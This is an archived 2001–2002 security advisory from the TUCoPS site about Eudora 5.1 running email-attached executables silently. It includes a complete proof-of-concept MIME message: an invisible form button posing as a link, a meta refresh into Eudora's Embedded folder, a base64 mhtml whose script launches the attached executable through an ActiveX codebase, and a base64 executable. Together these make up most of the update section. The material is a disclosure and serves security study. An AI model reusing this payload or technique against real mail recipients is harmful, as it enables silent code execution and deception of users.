Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!


TUCoPS :: Windows Net Apps :: win2478.htm

Eudora may be fooled to execute e-mail attached executable



28th May 2001 [SBWID-2478]
COMMAND

	Eudora may be fooled to execute e-mail attached executable
	

	

SYSTEMS AFFECTED

	Eudora 5.1

PROBLEM

	    'http-equiv' found  following.   Silent delivery  and installation

	    of an executable on a  target computer.  This can  be accomplished

	    with the default installation of the mail client Eudora 5.1:

	
	        - 'allow executables in HTML content' DISABLED

	        - 'use Microsoft viewer' ENABLED

	

	    The  manufacturer  done  a  tremendous  job  of  shutting down all

	    possibilities of  scripting and  all other  necessaries to achieve

	    the following  result.   However there  still remains  a number of

	    good possibilities.   One of which  is the following  that we find

	    to be quite interesting.

	

	    Using the POWAH! of Internet Explorer, we create yet another  HTML

	    mail message as follows:

	
	        <FORM action="cid:master.malware.com" method=post target=new><button type=submit style="width:130pt;height:20pt;cursor:hand;background-color:transparent;border:0pt"><u>http://www.malware.com</u></button> </FORM>

	        <img SRC="cid:master.malware.com" height=1 width=1><img SRC="cid:http://www.malware.com" height=1 width=1>

	

	    Where  our  first  image  is  our  executable.   Our  second image

	    comprises  a  simple  JavaScripting  and  ActiveX  control.   What

	    happens is, once the mail message is opened in Eudora 5.1, the two

	    'embedded' images  are silently  and instantly  transferred to the

	    'Embedded' folder.

	

	    What we then do is create a simple html form and button.  Owing to

	    the POWAH! of Internet Explorer, we are able to create this button

	    with  a  transparent  background.   In  addition,  we  are able to

	    dispose of  the border  of this  button, which  combined with  the

	    transparent background gives us nothing.  That is, we have a fully

	    functional form and button but we are not able to see it.  We then

	    create a fake link and incorporate that into our invisible button.

	    We then embed  our simple JavaScripting  and ActiveX control  into

	    our invisible button and fire it off to our target computer:

	
	        - before click (screen shot: http://www.malware.com/heydora.jpg 62KB)

	        - after click  (screen shot: http://www.malware.com/hey!dora.jpg 62KB)

	

	    The recipient is  then lulled into  clicking on the  "link".  What

	    that  does   is  pull   our  html   file  comprising   our  simple

	    JavaScripting and ActiveX control  out of the embedded  folder and

	    into a new Internet Explorer Window.

	

	    Because our *.exe and our simple JavaScripting and ActiveX control

	    reside in the same  folder [the so-called "Embedded'  folder], and

	    because it is  automatically opened in  our new Internet  Explorer

	    Window, everything is instant.

	

	    No warnings.  No nothing.  The *.exe is executed instantly.

	

	    Working Example.  Harmless *.exe. incorporated.  Tested on  win98,

	    with  IE5.5  (all  of  its  patches  and so-called service packs),

	    default Eudora 5.1 with 'use Microsoft viewer'  ENABLED and 'allow

	    executables in HTML content' DISABLED.

	

	    The following is in  plaintext.  We are  unable to figure out  how

	    to import  a single  message into  Eudora's inbox.   Perhaps  some

	    bright spark knows.   Otherwise, incorporate the text  sample into

	    a telnet session or other and fire off to your Eudora inbox:

	
	        http://www.malware.com/hey!DORA.txt

	

	

	

	 Update (25 July 2002)

	 ======

	

	http-equiv udpates the status of  this  advisory  in  regards  with  the
	latest patch provided for Eudora :
	

	--snipp--
	

	The problem is that the manufacturer left out an important file type  to
	consider: the *.mhtml file. This is  automatically  opened  by  Internet
	Explorer via the meta refresh without any warning  whatsoever  i.e.  the
	same warning given to *.html.
	

	So What: all we have to do is embedded in our mail message [again!]  two
	files:
	

	i) malware.mhtml which contains our active x control

	ii) malware.exe which is our friendly executable

	

	In the mail  message  we  reference  our  malware.mhtml  with  the  meta
	refresh tag and point it to our known location  on  default  install  of
	Eudora on win98.
	

	So once [again!] someone receives the mail message. Both files  embedded
	are silently and instantly transferred to the embedded folder. The  meta
	refresh then springs open the *.mhtml file inside  the  embedded  folder
	without warning, in our conveniently opened new browser window  courtesy
	of the meta refresh and bang ! it  runs  the  *.exe  via  the  active  x
	control.
	

	 Working Example

	 ===============

	

	Harmless *.exe. incorporated. Tested on win98, with IE6.00 (all  of  its
	patches and so-called service packs), default Eudora 5.1.1 with:
	 

	'use Microsoft viewer'  ENABLED 

	'allow executables in HTML content' DISABLED. 

	

	The following is in plaintext. We  are  unable  to  figure  out  how  to
	import a single message into Eudora's inbox. Perhaps some  bright  spark
	knows. Otherwise, incorporate the text sample into a telnet  session  or
	other and  fire off to your Eudora inbox,
	

	See http://www.malware.com/boodora.txt :
	 

	MIME-Version: 1.0

	Content-Type: multipart/related;

	 boundary="------------49C1C22C537D4A1164278569"

	

	

	--------------49C1C22C537D4A1164278569

	Content-Type: text/html; charset=us-ascii

	Content-Transfer-Encoding: 7bit

	

	<!doctype html public "-//w3c//dtd html 4.0 transitional//en">

	<html>

	<META http-equiv=refresh content="1; &#13;&#10;url=file://C:\WINDOWS\Application Data\Qualcomm\Eudora\Embedded\malware.mhtml">

	<!-- 21,07.02 http://www.malware.com -->

	<img SRC="cid:mal.ware" style="display:none">

	<img SRC="cid:malware" style="display:none">

	</html>

	

	--------------49C1C22C537D4A1164278569

	Content-Type: application/octet-stream

	Content-ID: <mal.ware>

	Content-Transfer-Encoding: base64

	Content-Disposition: inline; filename="malware.mhtml"

	

	TUlNRS1WZXJzaW9uOiAxLjANCkNvbnRlbnQtVHlwZTogbXVsdGlwYXJ0L2FsdGVybmF0aXZl

	Ow0KCWJvdW5kYXJ5PSItLS0tPV9OZXh0UGFydF8wMDBfMDFGOF8wMUMyMzBCNy4yMTk0MjJF

	MCINClgtU291cmNlOiBodHRwOi8vd3d3Lm1hbHdhcmUuY29tIC0gMjEuMDcuMDINCg0KDQpU

	aGlzIGlzIGEgbXVsdGktcGFydCBtZXNzYWdlIGluIE1JTUUgZm9ybWF0Lg0KDQotLS0tLS09

	X05leHRQYXJ0XzAwMF8wMUY4XzAxQzIzMEI3LjIxOTQyMkUwDQpDb250ZW50LVR5cGU6IHRl

	eHQvcGxhaW47DQoJY2hhcnNldD0iV2luZG93cy0xMjUyIg0KQ29udGVudC1UcmFuc2Zlci1F

	bmNvZGluZzogN2JpdA0KDQptYWx3YXJlLmNvbQ0KDQotLS0tLS09X05leHRQYXJ0XzAwMF8w

	MUY4XzAxQzIzMEI3LjIxOTQyMkUwDQpDb250ZW50LVR5cGU6IHRleHQvaHRtbDsNCgljaGFy

	c2V0PSJXaW5kb3dzLTEyNTIiDQpDb250ZW50LVRyYW5zZmVyLUVuY29kaW5nOiA3Yml0DQoN

	CiA8c2NyaXB0Pg0KLy8gaHR0cDovL3d3dy5tYWx3YXJlLmNvbSAtIERlY2VtYmVyIDIwMDAN

	CmRvY3VtZW50LndyaXRlbG4oJzxJRlJBTUUgSUQ9cnVubmVyd2luIFdJRFRIPTAgSEVJR0hU

	PTAgU1JDPSJhYm91dDpibGFuayI+PC9JRlJBTUU+Jyk7DQpmdW5jdGlvbiBsaW5raXQoZmls

	ZW5hbWUpDQp7DQogICBzdHJwYWdlc3RhcnQgPSAiPEhUTUw+PEhFQUQ+PC9IRUFEPjxCT0RZ

	PjxPQkpFQ1QgICBDTEFTU0lEPSIgKw0KICAgICAgIidDTFNJRDoxNTU4OUZBMS1DNDU2LTEx

	Q0UtQkYwMS0wMEFBMDA1NTU5NUEnIENPREVCQVNFPSciOw0KICAgc3RycGFnZWVuZCA9ICIn

	PjwvT0JKRUNUPjwvQk9EWT48L0hUTUw+IjsNCiAgIHJ1bm5lcndpbi5kb2N1bWVudC5vcGVu

	KCk7DQogICBydW5uZXJ3aW4uZG9jdW1lbnQud3JpdGUoc3RycGFnZXN0YXJ0ICsgZmlsZW5h

	bWUgKyBzdHJwYWdlZW5kKTsNCiB9DQpsaW5raXQoJ21hbHdhcmUuZXhlJyk7DQo8L3Njcmlw

	dD4NCg0KLS0tLS0tPV9OZXh0UGFydF8wMDBfMDFGOF8wMUMyMzBCNy4yMTk0MjJFMC0tDQo=

	--------------49C1C22C537D4A1164278569

	Content-Type: application/octet-stream

	Content-ID: <malware>

	Content-Transfer-Encoding: base64

	Content-Disposition: inline; filename="malware.exe"

	

	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

	AAARAAASAAATAAAUAAAVAAAWAAAXAAAYAAAZAAAaAAAbAAAcAAAdAAAeAAAfAAAgAAAhAAAi

	AAAjAAAkAAAlAAAmAAAnAAAoAAApAAAqAAArAAAsAAAtAAAuAAAvAAAwAAAxAAAyAAAzAAA0

	AAA1AAA2AAA3AAA4AAA5AAA6AAA7AAA8AAA9AAA+AAA/AAA/AAA/AAA/AQA/AgA/AwA/BAA/

	BQA/BgA/BwA/CAA/CQA/CgA/CwA/DAA/DQA/DgA/DwA/EAA/EQA/EgA/EwA/FAA/FQA/FgA/

	FwA/GAA/GQA/GgA/GwA/HAA/HQA/HgA/HwA/IAA/IQA/IgA/IwA/JAA/JQA/JgA/JwA/KAA/

	KQA/KgA/KwA/LAA/LQA/LgA/LwA/MAA/MQA/MgA/MwA/NAA/NQA/NgA/NwA/OAA/OQA/OgA/

	OwA/PAA/PQA/PgA/PwA/PwA/PwA/PwE/PwI/PwM/PwQ/PwU/PwY/Pwc/Pwg/Pwk/Pwo/Pws/

	Pww/Pw0/Pw4/Pw8/PxA/PxE/PxI/PxM/PxQ/PxU/PxY/Pxc/Pxg/Pxk/Pxo/Pxs/Pxw/Px0/

	Px4/Px8/PyA/PyE/PyI/PyM/PyQ/PyU/PyY/Pyc/Pyg/Pyk/Pyo/Pys/Pyw/Py0/Py4/Py8/

	PzA/PzE/PzI/PzM/PzQ/PzU/PzY/Pzc/Pzg/Pzk/Pzo/Pzs/Pzw/Pz0/Pz4/Pz8/Pz8=

	--------------49C1C22C537D4A1164278569--

	

	Notes: disable 'use Microsoft viewer'

SOLUTION

	?


TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH